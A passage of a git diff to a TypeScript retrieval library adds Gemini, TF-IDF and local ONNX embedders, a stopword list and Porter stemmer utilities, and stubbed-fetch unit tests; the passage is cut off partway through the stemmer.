=> { + seenBody = JSON.parse(init.body as string); + return new Response( + JSON.stringify({ embeddings: [{ values: [0.5, 0.6] }] }), + { status: 200, headers: { "Content-Type": "application/json" } } + ); + }); + const e = new GeminiEmbedder({ apiKey: "stub-key" }); + const v = await e.embedQuery("how do I deploy"); + // Embedder L2-normalizes [0.5, 0.6] → magnitude sqrt(0.25+0.36) = sqrt(0.61). + assert.equal(v.length, 2); + const norm = Math.sqrt(v[0]! ** 2 + v[1]! ** 2); + assert.ok(Math.abs(norm - 1) < 1e-6, `expected unit norm, got ${norm}`); + assert.equal(seenBody.requests[0].taskType, "RETRIEVAL_QUERY"); +}); + +test("GeminiEmbedder: chunks large input batches by batchSize", async () => { + let callCount = 0; + stubFetch((_url, init) => { + callCount++; + const body = JSON.parse(init.body as string); + return new Response( + JSON.stringify({ + embeddings: body.requests.map((_: unknown) => ({ values: [1, 2, 3] })), + }), + { status: 200, headers: { "Content-Type": "application/json" } } + ); + }); + const e = new GeminiEmbedder({ apiKey: "stub-key", batchSize: 5 }); + const out = await e.embed(new Array(13).fill("text")); + assert.equal(out.length, 13); + assert.equal(callCount, 3); // ceil(13/5) +}); + +test("GeminiEmbedder: throws on non-OK without leaking key in message", async () => { + stubFetch(() => new Response("bad request", { status: 400, statusText: "Bad Request" })); + const e = new GeminiEmbedder({ apiKey: "secret-please-do-not-leak", maxRetries: 0 }); + await assert.rejects( + () => e.embed(["hi"]), + (err: Error) => { + assert.match(err.message, /Gemini embed failed.*400/); + assert.ok(!err.message.includes("secret-please-do-not-leak")); + return true; + } + ); +}); + +test("GeminiEmbedder: retries on 429 then succeeds", async () => { + let calls = 0; + stubFetch(() => { + calls += 1; + if (calls < 2) { + return new Response("rate", { + status: 429, + statusText: "Too Many Requests", + headers: { "retry-after": "0" }, + }); + } + return new Response( + JSON.stringify({ embeddings: [{ values: [1, 0] }] }), + { status: 200, headers: { "Content-Type": "application/json" } } + ); + }); + const e = new GeminiEmbedder({ apiKey: "stub", maxRetries: 3 }); + const [v] = await e.embed(["hi"]); + assert.equal(v!.length, 2); + assert.equal(calls, 2); // one retry, one success +}); + +test("GeminiEmbedder: gemini-embedding-001 sets outputDimensionality", async () => { + let seenBody: any = null; + stubFetch((_url, init) => { + seenBody = JSON.parse(init.body as string); + return new Response( + JSON.stringify({ embeddings: [{ values: new Array(1024).fill(0) }] }), + { status: 200, headers: { "Content-Type": "application/json" } } + ); + }); + const e = new GeminiEmbedder({ + apiKey: "stub", + model: "gemini-embedding-001", + dimension: 1024, + }); + await e.embed(["hello"]); + assert.equal(seenBody.requests[0].outputDimensionality, 1024); +}); diff --git a/packages/core/src/embeddings/embedder.ts b/packages/core/src/embeddings/embedder.ts index 20daa1e..a419ab1 100644 --- a/packages/core/src/embeddings/embedder.ts +++ b/packages/core/src/embeddings/embedder.ts @@ -1,4 +1,7 @@ import { createHash } from "node:crypto"; +import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { tokenizeAdvanced } from "./text-utils.js"; /** * Embedding provider interface. @@ -6,6 +9,11 @@ import { createHash } from "node:crypto"; * Tradeoff: we keep this very small on purpose. Real-world embedders all share * one operation: text-in, vector-out. Anything more complex (caching, batching, * rate limiting) is a wrapper concern — see `BatchedEmbedder`. + * + * Embedders that benefit from corpus statistics (TF-IDF, learned-IDF, etc) can + * implement the optional `fit(docs)` method. The orchestrator calls fit() during + * `index()` so the embedder can update its document-frequency tables before + * embedding. Embedders that do not need corpus context simply omit fit(). */ export interface Embedder { /** Stable identifier — surfaced in traces. */ @@ -14,6 +22,25 @@ export interface Embedder { readonly dimension: number; /** Embed a batch of texts. Returns one vector per input, in order. */ embed(texts: string[]): Promise<number[][]>; + /** + * Optional: ingest documents to update embedder state (e.g. document + * frequencies for TF-IDF). Called by the orchestrator during indexing. + * No-op by default — embedders without corpus state ignore this. + */ + fit?(texts: string[]): void; + /** + * Optional: embed text(s) explicitly tagged as documents-to-be-indexed. + * Embedders that distinguish doc vs query roles (Gemini's task types, + * Cohere v3's input_type, BGE's instruct-prefixes) implement this for + * better retrieval quality. Augur prefers this over `embed()` during + * `index()` when available. + */ + embedDocuments?(texts: string[]): Promise<number[][]>; + /** + * Optional: embed a single text explicitly tagged as a search query. + * Augur prefers this over `embed()` during `search()` when available. + */ + embedQuery?(text: string): Promise<number[]>; } /** @@ -63,6 +90,251 @@ export class HashEmbedder implements Embedder { } } +/** + * GeminiEmbedder — Google Gemini embeddings via the Generative Language API. + * + * Default model is `gemini-embedding-001` (configurable output dimensionality; + * we default to 768 for storage/latency, supporting 128/256/512/768/1536/3072). + * Pass `model: "gemini-embedding-2"` for the newer generation. + * + * Why this matters: Gemini's bi-encoder embeddings are real semantic vectors. + * Pairing with task-type tagging (RETRIEVAL_DOCUMENT vs RETRIEVAL_QUERY) + * gives noticeably better retrieval than treating both roles symmetrically — + * the encoder produces different-but-aligned spaces tuned for each role. + * + * Auth: pass `apiKey`, or set the `GEMINI_API_KEY` (or `GOOGLE_API_KEY`) + * environment variable. Never check the key into source. + * + * Batching: the underlying `:batchEmbedContents` endpoint accepts up to 100 + * inputs per request. Larger batches are split client-side automatically. + */ +export class GeminiEmbedder implements Embedder { + readonly name: string; + readonly dimension: number; + private apiKey: string; + private model: string; + private baseURL: string; + private batchSize: number; + + private maxRetries: number; + private throttleMs: number; + private cacheDir: string | null; + + constructor(opts: { + apiKey?: string; + model?: string; + /** Output vector size. Only meaningful for models that accept output_dimensionality. */ + dimension?: number; + /** Max items per batch request. Defaults to 100 (the API ceiling). */ + batchSize?: number; + /** Override for proxies / on-prem. Defaults to public Generative Language API. */ + baseURL?: string; + /** Retries on 429/5xx with exponential backoff. Defaults to 5. */ + maxRetries?: number; + /** Min delay between requests in ms (free-tier safety). Defaults to 0. */ + throttleMs?: number; + /** + * On-disk cache directory keyed by sha256(model|dim|taskType|text). Highly + * recommended in production — embedding cost is non-trivial and texts + * rarely change. Defaults to null (no caching). + */ + cacheDir?: string | null; + } = {}) { + this.apiKey = + opts.apiKey ?? + process.env.GEMINI_API_KEY ?? + process.env.GOOGLE_API_KEY ?? + ""; + this.model = opts.model ?? "gemini-embedding-001"; + this.dimension = opts.dimension ?? 768; + this.baseURL = opts.baseURL ?? "https://generativelanguage.googleapis.com/v1beta"; + this.batchSize = opts.batchSize ?? 100; + this.maxRetries = opts.maxRetries ?? 5; + this.throttleMs = opts.throttleMs ?? 0; + this.cacheDir = opts.cacheDir ?? null; + if (this.cacheDir && !existsSync(this.cacheDir)) { + mkdirSync(this.cacheDir, { recursive: true }); + } + this.name = `gemini:${this.model}`; + if (!this.apiKey) { + throw new Error( + "GeminiEmbedder: apiKey not provided and GEMINI_API_KEY / GOOGLE_API_KEY not set" + ); + } + } + + /** Default to the document task type — typical use site is index-time embedding. */ + async embed(texts: string[]): Promise<number[][]> { + return this.embedBatch(texts, "RETRIEVAL_DOCUMENT"); + } + + async embedDocuments(texts: string[]): Promise<number[][]> { + return this.embedBatch(texts, "RETRIEVAL_DOCUMENT"); + } + + async embedQuery(text: string): Promise<number[]> { + const [v] = await this.embedBatch([text], "RETRIEVAL_QUERY"); + if (!v) throw new Error("GeminiEmbedder: empty embedding response"); + return v; + } + + private async embedBatch( + texts: string[], + taskType: "RETRIEVAL_DOCUMENT" | "RETRIEVAL_QUERY" + ): Promise<number[][]> { + if (texts.length === 0) return []; + + // Check cache first — only un-cached texts make API calls. + const out = new Array<number[] | null>(texts.length).fill(null); + const missing: Array<{ index: number; text: string }> = []; + if (this.cacheDir) { + for (let i = 0; i < texts.length; i++) { + const cached = this.readCache(texts[i]!, taskType); + if (cached) out[i] = cached; + else missing.push({ index: i, text: texts[i]! }); + } + } else { + for (let i = 0; i < texts.length; i++) missing.push({ index: i, text: texts[i]! }); + } + if (missing.length === 0) return out as number[][]; + + // Embed only the misses, then merge back into the result array. + const batchTexts = missing.map((m) => m.text); + const fresh = await this.embedBatchUncached(batchTexts, taskType); + for (let j = 0; j < missing.length; j++) { + const vec = fresh[j]!; + out[missing[j]!.index] = vec; + if (this.cacheDir) this.writeCache(missing[j]!.text, taskType, vec); + } + return out as number[][]; + } + + private async embedBatchUncached( + texts: string[], + taskType: "RETRIEVAL_DOCUMENT" | "RETRIEVAL_QUERY" + ): Promise<number[][]> { + const out: number[][] = []; + for (let i = 0; i < texts.length; i += this.batchSize) { + const batch = texts.slice(i, i + this.batchSize); + // gemini-embedding-* models accept outputDimensionality (128 / 256 / 512 + // / 768 / 1536 / 3072). Older text-embedding-* models ignore it. + const body = { + requests: batch.map((text) => { + const req: Record<string, unknown> = { + model: `models/${this.model}`, + content: { parts: [{ text }] }, + taskType, + }; + if (this.model.startsWith("gemini-embedding-")) { + req["outputDimensionality"] = this.dimension; + } + return req; + }), + }; + const url = `${this.baseURL}/models/${this.model}:batchEmbedContents?key=${encodeURIComponent( + this.apiKey + )}`; + const json = await this.fetchWithRetry(url, body); + for (const e of json.embeddings) out.push(this.normalize(e.values)); + if (this.throttleMs > 0 && i + this.batchSize < texts.length) { + await sleep(this.throttleMs); + } + } + return out; + } + + /** + * Retry on 429 (rate limit) and 5xx with exponential backoff. Honors a + * `Retry-After` header when the server provides one. Avoids echoing the + * API key into thrown error messages. + */ + private async fetchWithRetry( + url: string, + body: unknown + ): Promise<{ embeddings: Array<{ values: number[] }> }> { + let attempt = 0; + let lastErr: Error | null = null; + while (attempt <= this.maxRetries) { + const res = await fetch(url, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(body), + }); + if (res.ok) { + return (await res.json()) as { embeddings: Array<{ values: number[] }> }; + } + const retriable = res.status === 429 || (res.status >= 500 && res.status < 600); + if (!retriable || attempt === this.maxRetries) { + throw new Error(`Gemini embed failed (${res.status} ${res.statusText})`); + } + const retryAfter = parseRetryAfter(res.headers.get("retry-after")); + const backoff = retryAfter ?? Math.min(60_000, 1_000 * Math.pow(2, attempt)); + lastErr = new Error( + `Gemini ${res.status}; retrying in ${backoff}ms (attempt ${attempt + 1}/${this.maxRetries})` + ); + // eslint-disable-next-line no-console + console.warn(`[gemini] ${lastErr.message}`); + await sleep(backoff + Math.floor(Math.random() * 200)); + attempt += 1; + } + throw lastErr ?? new Error("Gemini embed failed after retries"); + } + + /** + * L2-normalize. Gemini returns normalized vectors only at the native 3072 + * dimension; for any smaller `outputDimensionality` the docs explicitly say + * to normalize client-side. We always normalize so cosine == dot product + * downstream. + */ + private normalize(vec: number[]): number[] { + let norm = 0; + for (const v of vec) norm += v * v; + norm = Math.sqrt(norm) || 1; + return vec.map((v) => v / norm); + } + + private cachePath(text: string, taskType: string): string | null { + if (!this.cacheDir) return null; + const key = createHash("sha256") + .update(`${this.model}|${this.dimension}|${taskType}|${text}`) + .digest("hex"); + return join(this.cacheDir, `${key}.json`); + } + + private readCache(text: string, taskType: string): number[] | null { + const path = this.cachePath(text, taskType); + if (!path || !existsSync(path)) return null; + try { + return JSON.parse(readFileSync(path, "utf8")) as number[]; + } catch { + return null; + } + } + + private writeCache(text: string, taskType: string, vec: number[]): void { + const path = this.cachePath(text, taskType); + if (!path) return; + writeFileSync(path, JSON.stringify(vec)); + } +} + +function sleep(ms: number): Promise<void> { + return new Promise((resolve) => setTimeout(resolve, ms)); +} + +/** + * Parse a `Retry-After` header value into milliseconds. Supports both + * delta-seconds and HTTP-date formats. Returns null if absent/unparseable. + */ +function parseRetryAfter(value: string | null): number | null { + if (!value) return null; + const seconds = Number(value); + if (Number.isFinite(seconds)) return Math.max(0, seconds * 1000); + const date = Date.parse(value); + if (!Number.isNaN(date)) return Math.max(0, date - Date.now()); + return null; +} + /** * OpenAIEmbedder — uses OpenAI's embeddings API. * @@ -130,3 +402,121 @@ export function tokenize(text: string): string[] { .split(/\s+/u) .filter((t) => t.length > 0); } + +// Re-export advanced tokenizer + stemmer + stopwords from text-utils for users +// who want to plug them into custom embedders or rerankers. +export { tokenizeAdvanced, stem, STOPWORDS } from "./text-utils.js"; + +/** + * TfIdfEmbedder — feature-hashing TF-IDF embedder. + * + * Why this is a real upgrade over `HashEmbedder`: + * - Stems tokens (running → run, connections → connect) so morphological + * variants share a vector dimension. + * - Drops English stopwords so common words don't crowd out signal. + * - Weights tokens by IDF — rare tokens dominate the vector, common tokens + * contribute less. This is what bag-of-words IR has done for 50 years + * and remains a strong baseline against modern dense retrievers. + * - Sub-linear TF (1 + log tf) so a token appearing 100× doesn't drown + * out everything else in the document. + * + * Why this is *not* a substitute for a real bi-encoder (BGE, OpenAI, Cohere): + * - No semantic understanding — "vehicle" and "car" are unrelated tokens. + * - No paraphrase robustness — different phrasings of the same idea miss. + * - Quality plateaus around classical TF-IDF; modern dense retrievers add + * 20-40% NDCG on top of this. + * + * Best used as: + * - The default embedder for local-only or tests-only deployments. + * - A baseline you can A/B against a real embedder via the eval harness. + * - The vector half of a hybrid pipeline that leans heavily on BM25 for + * exact-match recall and TF-IDF for fuzzy term overlap. + * + * Statefulness: + * The embedder accumulates document frequencies via `fit(docs)` (called by + * `Augur.index()` if available) or implicitly via `embed()` calls (each + * batch is treated as new documents and contributes to DFs). For the + * cleanest behavior, fit() once on the corpus before embedding queries. + */ +export class TfIdfEmbedder implements Embedder { + readonly name = "tfidf-embedder"; + readonly dimension: number; + + private dfs = new Map<string, number>(); + private docCount = 0; + private idfCache: Map<string, number> | null = null; + private tokenize: (text: string) => string[]; + + constructor(opts: { dimension?: number; corpus?: string[]; useStemming?: boolean } = {}) { + this.dimension = opts.dimension ?? 4096; + const useStemming = opts.useStemming ?? true; + this.tokenize = (text) => tokenizeAdvanced(text, { stem: useStemming, dropStopwords: true }); + if (opts.corpus && opts.corpus.length > 0) this.fit(opts.corpus); + } + + /** + * Update document-frequency statistics. Call before embedding queries to + * ensure IDF reflects the indexed corpus. + */ + fit(texts: string[]): void { + for (const text of texts) { + const seen = new Set(this.tokenize(text)); + for (const tok of seen) { + this.dfs.set(tok, (this.dfs.get(tok) ?? 0) + 1); + } + this.docCount += 1; + } + this.idfCache = null; + } + + async embed(texts: string[]): Promise<number[][]> { + return texts.map((t) => this.embedOne(t)); + } + + private getIdf(): Map<string, number> { + if (this.idfCache) return this.idfCache; + const idf = new Map<string, number>(); + const N = Math.max(1, this.docCount); + for (const [tok, df] of this.dfs) { + // Smoothed IDF: log((N+1)/(df+1)) + 1 — standard sklearn convention. + idf.set(tok, Math.log((N + 1) / (df + 1)) + 1); + } + this.idfCache = idf; + return idf; + } + + private embedOne(text: string): number[] { + const tokens = this.tokenize(text); + if (tokens.length === 0) return new Array(this.dimension).fill(0); + + // Term frequencies for this text. + const tf = new Map<string, number>(); + for (const tok of tokens) tf.set(tok, (tf.get(tok) ?? 0) + 1); + + const idf = this.getIdf(); + const vec = new Array<number>(this.dimension).fill(0); + + for (const [tok, count] of tf) { + // Sub-linear TF (1 + log count) dampens token-frequency dominance. + const tfWeight = 1 + Math.log(count); + // IDF defaults to 1 (the "+1" smoothing baseline) for unseen tokens — + // unseen-by-the-corpus tokens still contribute, just without IDF boost. + const idfWeight = idf.get(tok) ?? 1; + const weight = tfWeight * idfWeight; + + // Feature-hash to a bucket; sign from a separate hash byte so + // collisions partially cancel (random sign trick). + const h = createHash("sha256").update(tok).digest(); + const bucket = h.readUInt32BE(0) % this.dimension; + const sign = h[4]! & 1 ? 1 : -1; + vec[bucket] = (vec[bucket] ?? 0) + sign * weight; + } + + // L2 normalize so cosine similarity == dot product. + let norm = 0; + for (const v of vec) norm += v * v; + norm = Math.sqrt(norm) || 1; + return vec.map((v) => v / norm); + } +} + diff --git a/packages/core/src/embeddings/local-embedder.test.ts b/packages/core/src/embeddings/local-embedder.test.ts new file mode 100644 index 0000000..2ee84e2 --- /dev/null +++ b/packages/core/src/embeddings/local-embedder.test.ts @@ -0,0 +1,40 @@ +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { LocalEmbedder } from "./local-embedder.js"; + +// These tests exercise the wiring (defaults, name, dimension, prefix +// configuration) without actually loading the ONNX model. The expensive +// load+inference path runs through the eval harness instead, so CI doesn't +// download ~50MB of weights. + +test("LocalEmbedder: default model is Xenova/all-MiniLM-L6-v2 / 384d", () => { + const e = new LocalEmbedder(); + assert.equal(e.name, "local:Xenova/all-MiniLM-L6-v2"); + assert.equal(e.dimension, 384); +}); + +test("LocalEmbedder: custom model surfaces in name", () => { + const e = new LocalEmbedder({ model: "Xenova/bge-small-en-v1.5" }); + assert.equal(e.name, "local:Xenova/bge-small-en-v1.5"); +}); + +test("LocalEmbedder: empty input returns empty array without loading model", async () => { + const e = new LocalEmbedder(); + // Doesn't call the ONNX pipeline because length === 0. + const out = await e.embed([]); + assert.deepEqual(out, []); +}); + +test("LocalEmbedder: configurable dimension does not affect name", () => { + const e = new LocalEmbedder({ dimension: 768 }); + assert.equal(e.dimension, 768); +}); + +test("LocalEmbedder: prefix options accepted (BGE-style)", () => { + const e = new LocalEmbedder({ + model: "Xenova/bge-small-en-v1.5", + queryPrefix: "Represent this sentence for searching relevant passages: ", + docPrefix: "", + }); + assert.ok(e.name.includes("bge-small-en-v1.5")); +}); diff --git a/packages/core/src/embeddings/local-embedder.ts b/packages/core/src/embeddings/local-embedder.ts new file mode 100644 index 0000000..fa4820f --- /dev/null +++ b/packages/core/src/embeddings/local-embedder.ts @@ -0,0 +1,132 @@ +/** + * LocalEmbedder — runs sentence-transformer models entirely on-device via + * `@huggingface/transformers` (ONNX Runtime under the hood). + * + * No API keys, no rate limits, no network at inference time after the + * one-time model download. The smallest mainstream model (Xenova/ + * all-MiniLM-L6-v2, ~22MB, 384d) is the default; swap to BGE-small, + * GTE-small, E5-small, or nomic-embed via the `model` option. + * + * Best-practice configuration baked in: + * + * 1. Mean pooling + L2 normalization (the convention almost all + * sentence-transformer models expect at inference time). + * + * 2. Per-task prefixes — many strong embedders (BGE, E5, nomic) require + * the caller to prepend short instruction-like prefixes to queries + * vs documents. The `queryPrefix` and `docPrefix` options drive this. + * `embedQuery()` and `embedDocuments()` apply them automatically; + * Augur calls those task-specific methods when available, so the + * retrieval/indexing roles get tagged correctly without caller code. + * + * 3. Dynamic import — the heavy `@huggingface/transformers` dependency + * only resolves when this class is actually used. Consumers who don't + * touch LocalEmbedder don't need the package installed. + * + * 4. Singleton pipeline per (model, embedder-instance) — the model loads + * once and is reused across embed() calls. ONNX session reuse is the + * single biggest latency win after model selection. + * + * Recommended models and their prefixes: + * + * | Model | dim | size | queryPrefix | docPrefix | + * |------------------------------------|------|-------|--------------------------------------------------------------|--------------------| + * | Xenova/all-MiniLM-L6-v2 (default) | 384 | 22MB | (none) | (none) | + * | Xenova/bge-small-en-v1.5 | 384 | 33MB | "Represent this sentence for searching relevant passages: " | (none) | + * | Xenova/gte-small | 384 | 33MB | (none) | (none) | + * | Xenova/e5-small-v2 | 384 | 33MB | "query: " | "passage: " | + * | nomic-ai/nomic-embed-text-v1.5 | 768 | 137MB | "search_query: " | "search_document: "| + */ + +import type { Embedder } from "./embedder.js"; + +// Cache the pipeline promise per model name so repeated instantiation is free. +const pipelineCache = new Map<string, Promise<unknown>>(); + +async function getEmbeddingPipeline(model: string): Promise<unknown> { + let p = pipelineCache.get(model); + if (p) return p; + p = (async () => { + // Dynamic import — keeps consumers who don't use this class free of the + // transformers.js + onnxruntime-node install footprint (~100MB). + const transformers = (await import("@huggingface/transformers")) as unknown as { + pipeline: (task: string, model: string) => Promise<unknown>; + }; + return transformers.pipeline("feature-extraction", model); + })(); + pipelineCache.set(model, p); + return p; +} + +export class LocalEmbedder implements Embedder { + readonly name: string; + readonly dimension: number; + private model: string; + private queryPrefix: string; + private docPrefix: string; + private batchSize: number; + + constructor(opts: { + /** + * HuggingFace repo id (must be available in ONNX format under that + * namespace). Defaults to Xenova/all-MiniLM-L6-v2. + */ + model?: string; + /** Output vector dimension. Should match the model's hidden size. */ + dimension?: number; + /** + * Prepended to every query before embedding. BGE-small needs this: + * "Represent this sentence for searching relevant passages: ". + */ + queryPrefix?: string; + /** Prepended to every document. E5/nomic want "passage: " etc. */ + docPrefix?: string; + /** Texts per pipeline call. Larger = better GPU/CPU utilization. */ + batchSize?: number; + } = {}) { + this.model = opts.model ?? "Xenova/all-MiniLM-L6-v2"; + this.dimension = opts.dimension ?? 384; + this.queryPrefix = opts.queryPrefix ?? ""; + this.docPrefix = opts.docPrefix ?? ""; + this.batchSize = opts.batchSize ?? 32; + this.name = `local:${this.model}`; + } + + async embed(texts: string[]): Promise<number[][]> { + // Default semantics for the generic embed() entrypoint: treat as documents. + return this.embedTagged(texts, this.docPrefix); + } + + async embedDocuments(texts: string[]): Promise<number[][]> { + return this.embedTagged(texts, this.docPrefix); + } + + async embedQuery(text: string): Promise<number[]> { + const [v] = await this.embedTagged([text], this.queryPrefix); + if (!v) throw new Error("LocalEmbedder: empty embedding response"); + return v; + } + + private async embedTagged(texts: string[], prefix: string): Promise<number[][]> { + if (texts.length === 0) return []; + const tagged = prefix ? texts.map((t) => prefix + t) : texts; + const pipe = (await getEmbeddingPipeline(this.model)) as ( + input: string | string[], + opts: { pooling: "mean" | "cls" | "none"; normalize: boolean } + ) => Promise<{ data: Float32Array; dims: number[] }>; + + const out: number[][] = []; + for (let i = 0; i < tagged.length; i += this.batchSize) { + const batch = tagged.slice(i, i + this.batchSize); + // pooling=mean + normalize=true is the canonical sentence-transformer config. + const result = await pipe(batch, { pooling: "mean", normalize: true }); + const hidden = result.dims[result.dims.length - 1] ?? this.dimension; + const batchCount = batch.length; + for (let b = 0; b < batchCount; b++) { + const start = b * hidden; + out.push(Array.from(result.data.subarray(start, start + hidden))); + } + } + return out; + } +} diff --git a/packages/core/src/embeddings/text-utils.test.ts b/packages/core/src/embeddings/text-utils.test.ts new file mode 100644 index 0000000..6503729 --- /dev/null +++ b/packages/core/src/embeddings/text-utils.test.ts @@ -0,0 +1,64 @@ +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { stem, STOPWORDS, tokenizeAdvanced } from "./text-utils.js"; + +test("stem: basic suffixes", () => { + // The Porter stemmer is *aggressive*. These are the canonical reductions. + assert.equal(stem("running"), "run"); + assert.equal(stem("connections"), "connect"); + assert.equal(stem("agreed"), "agre"); + assert.equal(stem("happy"), "happi"); + assert.equal(stem("ponies"), "poni"); + assert.equal(stem("relational"), "relat"); +}); + +test("stem: short words are returned as-is", () => { + assert.equal(stem("the"), "the"); + assert.equal(stem("an"), "an"); + assert.equal(stem("at"), "at"); +}); + +test("stem: irregular roots become the same stem", () => { + // Same morphological root → same stem (the test of a stemmer's value). + assert.equal(stem("connection"), stem("connections")); + assert.equal(stem("running"), stem("runs")); + assert.equal(stem("argued"), stem("argues")); +}); + +test("STOPWORDS: contains common closed-class words", () => { + for (const w of ["the", "a", "and", "of", "to", "in", "for", "is", "are", "with"]) { + assert.ok(STOPWORDS.has(w), `expected stopword: ${w}`); + } +}); + +test("STOPWORDS: does not contain content words", () => { + for (const w of ["postgres", "kubernetes", "redis", "compute", "rust"]) { + assert.ok(!STOPWORDS.has(w), `expected NOT stopword: ${w}`); + } +}); + +test("tokenizeAdvanced: default behavior is plain whitespace split", () => { + assert.deepEqual( + tokenizeAdvanced("How do I configure pgvector?"), + ["how", "do", "i", "configure", "pgvector"] + ); +}); + +test("tokenizeAdvanced: dropStopwords removes common words", () => { + const out = tokenizeAdvanced("How do I configure pgvector?", { dropStopwords: true }); + assert.deepEqual(out, ["configure", "pgvector"]); +}); + +test("tokenizeAdvanced: stem reduces inflectional forms", () => { + const out = tokenizeAdvanced("running connections agreed", { stem: true }); + assert.deepEqual(out, ["run", "connect", "agre"]); +}); + +test("tokenizeAdvanced: stem + stopwords together", () => { + const out = tokenizeAdvanced("the cats are running quickly", { + stem: true, + dropStopwords: true, + }); + // "the", "are" stripped; "cats" → "cat" (stem); "running" → "run"; "quickly" → "quickli" + assert.deepEqual(out, ["cat", "run", "quickli"]); +}); diff --git a/packages/core/src/embeddings/text-utils.ts b/packages/core/src/embeddings/text-utils.ts new file mode 100644 index 0000000..9d0e4ba --- /dev/null +++ b/packages/core/src/embeddings/text-utils.ts @@ -0,0 +1,258 @@ +/** + * Text preprocessing utilities for keyword and TF-IDF retrieval. + * + * - `tokenize` (re-exported from embedder.ts) — basic whitespace + punctuation + * tokenizer, lowercased. + * - `tokenizeAdvanced` — adds optional stopword filtering and Porter stemming. + * - `stem` — Martin Porter's classic English stemmer (1980), implemented inline + * so the package stays dependency-free. The algorithm reduces inflectional + * forms to a common stem (running → run, connections → connect, agreed → agre). + * Not perfect — "going" stems to "go" but "wenting" stems to "went". Good + * enough as a retrieval-time normalizer. + * - `STOPWORDS` — a standard English stopword set, ~120 words. + * + * Stemming + stopword removal typically yields +5-10% recall on BM25-style + * keyword search at zero runtime cost (one-time precomputation per token). + */ + +/** + * English stopwords. Common closed-class words that carry no retrieval signal. + * This is the standard "snowball english" list, widely used in IR systems. + */ +export const STOPWORDS: ReadonlySet<string> = new Set([ + "a", "about", "above", "after", "again", "against", "all", "am", "an", "and", + "any", "are", "aren't", "as", "at", "be", "because", "been", "before", "being", + "below", "between", "both", "but", "by", "can't", "cannot", "could", "couldn't", + "did", "didn't", "do", "does", "doesn't", "doing", "don't", "down", "during", + "each", "few", "for", "from", "further", "had", "hadn't", "has", "hasn't", + "have", "haven't", "having", "he", "he'd", "he'll", "he's", "her", "here", + "here's", "hers", "herself", "him", "himself", "his", "how", "how's", "i", + "i'd", "i'll", "i'm", "i've", "if", "in", "into", "is", "isn't", "it", "it's", + "its", "itself", "let's", "me", "more", "most", "mustn't", "my", "myself", + "no", "nor", "not", "of", "off", "on", "once", "only", "or", "other", "ought", + "our", "ours", "ourselves", "out", "over", "own", "same", "shan't", "she", + "she'd", "she'll", "she's", "should", "shouldn't", "so", "some", "such", + "than", "that", "that's", "the", "their", "theirs", "them", "themselves", + "then", "there", "there's", "these", "they", "they'd", "they'll", "they're", + "they've", "this", "those", "through", "to", "too", "under", "until", "up", + "very", "was", "wasn't", "we", "we'd", "we'll", "we're", "we've", "were", + "weren't", "what", "what's", "when", "when's", "where", "where's", "which", + "while", "who", "who's", "whom", "why", "why's", "with", "won't", "would", + "wouldn't", "you", "you'd", "you'll", "you're", "you've", "your", "yours", + "yourself", "yourselves", +]); + +/** + * Tokenize + optional stopword removal + optional Porter stemming. + * + * Use this for BM25 keyword search and TF-IDF embeddings. The basic + * `tokenize` from embedder.ts is preserved for backward compatibility + * with HashEmbedder and the original keyword scoring. + */ +export function tokenizeAdvanced( + text: string, + opts: { stem?: boolean; dropStopwords?: boolean } = {} +): string[] { + const { stem: doStem = false, dropStopwords = false } = opts; + const raw = text + .toLowerCase() + .replace(/[^\p{L}\p{N}\s]/gu, " ") + .split(/\s+/u) + .filter((t) => t.length > 0); + + let out: string[] = raw; + if (dropStopwords) out = out.filter((t) => !STOPWORDS.has(t)); + if (doStem) out = out.map(stem); + return out; +} + +// ---------- Porter stemmer (1980) ---------- +// +// Compact implementation. The algorithm has 5 steps that successively strip +// suffixes based on the "measure" of the word's stem (count of vowel-consonant +// alternations). See Porter, M.F. "An Algorithm for Suffix Stripping" (1980). + +const VOWELS = new Set(["a", "e", "i", "o", "u"]); + +function isConsonant(s: string, i: number): boolean { + const c = s[i]; + if (!c) return false; + if (VOWELS.has(c)) return false; + if (c === "y") return i === 0 ? true : !isConsonant(s, i - 1); + return true; +} + +/** Measure (m): number of (vowel-runs followed by consonant-runs) in a stem. */ +function measure(stem: string): number { + let m = 0; + let i = 0; + // Skip leading consonants. + while (i < stem.length && isConsonant(stem, i)) i++; + while (i < stem.length) { + // Skip vowels. + while (i < stem.length && !isConsonant(stem, i)) i++; + if (i >= stem.length) break; + m++; + // Skip consonants. + while (i < stem.length && isConsonant(stem, i)) i++; + } + return m; +} + +function hasVowel(stem: string): boolean { + for (let i = 0; i < stem.length; i++) { + if (!isConsonant(stem, i)) return true; + } + return false; +} + +function endsCVC(stem: string): boolean { + if (stem.length < 3) return false; + const n = stem.length; + if ( + !isConsonant(stem, n - 3) || + isConsonant(stem, n - 2) || + !isConsonant(stem, n - 1) + ) { + return false; + } + // Final consonant cannot be w, x, or y. + const last = stem[n - 1]!; + return last !== "w" && last !== "x" && last !== "y"; +} + +function endsDoubleConsonant(stem: string): boolean { + const n = stem.length; + if (n < 2) return false; + return stem[n - 1] === stem[n - 2] && isConsonant(stem, n - 1); +} + +function replaceSuffix(word: string, suffix: string, replacement: string): string { + return word.slice(0, word.length - suffix.length) + replacement; +} + +/** Porter stemmer for English. */ +export function stem(word: string): string { + if (word.length <= 2) return word; + let w = word; + + // Step 1a + if (w.endsWith("sses")) w = replaceSuffix(w, "sses", "ss"); + else if (w.endsWith("ies")) w = replaceSuffix(w, "ies", "i"); + else if (w.endsWith("ss")) { + /* keep */ + } else if (w.endsWith("s")) w = w.slice(0, -1); + + // Step 1b + let step1bRan = false; + if (w.endsWith("eed")) { + if (measure(w.slice(0, -3)) > 0) w = w.slice(0, -1); + } else if (w.endsWith("ed")) { + const stemPart = w.slice(0, -2); + if (hasVowel(stemPart)) { + w = stemPart; + step1bRan = true; + } + } else if (w.endsWith("ing")) { + const stemPart = w.slice(0, -3); + if (hasVowel(stemPart)) { + w = stemPart; + step1bRan = true; + } + } + if (step1bRan) { + if (w.endsWith("at") || w.endsWith("bl") || w.endsWith("iz")) w = w + "e"; + else if (endsDoubleConsonant(w)) { + const last = w[w.length - 1]!; + if (last !== "l" && last !== "s" && last !== "z") { + w = w.slice(0, -1); + } + } else if (measure(w) === 1 && endsCVC(w)) { + w = w + "e"; + } + } + + // Step 1c + if (w.endsWith("y")) { + const stemPart = w.slice(0, -1); + if (hasVowel(stemPart)) w = stemPart + "i"; + } + + // Step 2 — m>0 suffix 